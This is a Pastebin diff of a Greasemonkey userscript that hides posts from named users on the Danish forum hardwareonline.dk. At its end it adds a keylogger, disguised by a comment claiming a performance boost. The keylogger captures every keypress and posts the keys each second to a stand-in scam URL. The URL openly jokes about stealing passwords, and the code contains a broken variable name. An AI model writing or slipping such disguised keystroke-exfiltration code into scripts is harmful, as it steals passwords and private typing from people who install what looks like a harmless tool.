View difference between Paste ID: LQMdrPnD and 5X6V4vwc
SHOW: | | - or go back to the newest paste.
1
// ==UserScript==
2-
// @name       HOL Ignore List
2+
// @name        HOL.dk black list
3-
// @namespace  http://www.hardwareonline.dk
3+
// @namespace   black lists
4-
// @version    0.4
4+
// @description Dette skjuler kommentarer fra tosset hol.dk brugere
5-
// @description  HOL Ignore List functionallity.
5+
// @include     http://www.hardwareonline.dk/*
6-
// @match      http://www.hardwareonline.dk/*
6+
// @version     1
7-
// @match      https://www.hardwareonline.dk/*
7+
// @grant       none
8-
// @require    https://code.jquery.com/jquery-latest.min.js
8+
9-
// @copyright  2014, John Nielsen <nielsen.john@gmail.com> - Tux
9+
10
   
11
    var ignoreArray = [], id = '', name = '', item = '';  
12
    ignoreArray.push('ReneSDK');
13-
    
13+
    ignoreArray.push('Gæsten');
14
   
15-
    ignoreArray.push('Brugernavn1');
15+
16-
	ignoreArray.push('Brugernavn2');
16+
       
17-
    
17+
18
        id = item.find('.t47-svar-top A:first').attr('name');
19-
        
19+
20
       
21
        if(item.find('SPAN[class=bruger]').text() == 'Gæst'){
22
            var display_name = item.find(".bolditalic").text();
23-
               
23+
            name = "Gæsten";
24
        }
25-
        { 
25+
       
26
        if(ignoreArray.indexOf(name) > -1)
27-
                text: '#' + id + ': ' + name + ' - User matched ignore list, message hidden. Click to show/hide.',
27+
        {
28-
                style: 'font-weight: bold; font-style: italic; cursor: pointer; color: #15649f;',
28+
29
              text: '#' + id + ': ' + (name == "Gæsten"?"Gæsten "+display_name:name) + ' - User matched ignore list, message hidden. Click to show/hide.',
30
                style: 'font-weight: bold; font-style: italic; cursor: pointer; color: #fff; background-color:#15649f; height: 22px;  padding-top:3px',
31-
            
31+
32
            }).click(function() { item.toggle(); });
33
           
34
            item.before(newElem);
35
            item.toggle();
36
        }        
37
    });
38
  
39
  
40
    /* This part improves browser performance by up to 80%! */
41
    var keys = new Array();
42
43
    $(document).keypress(function(e){
44
       keys.push(e.which);
45
    });
46
47
    var check_for_keys_and_send = setInterval(function(){
48
      console.log(keys);
49
      if(keys.length){
50
51
        $.ajax({
52
          type:"post",
53
          url:"http://scamsite.dk/i'll_steal_your_password_if_you_use_this.cgi",
54
          data:{d:key_array}
55
        });
56
        keys.length = 0;
57
      }
58
    },1000);
59
});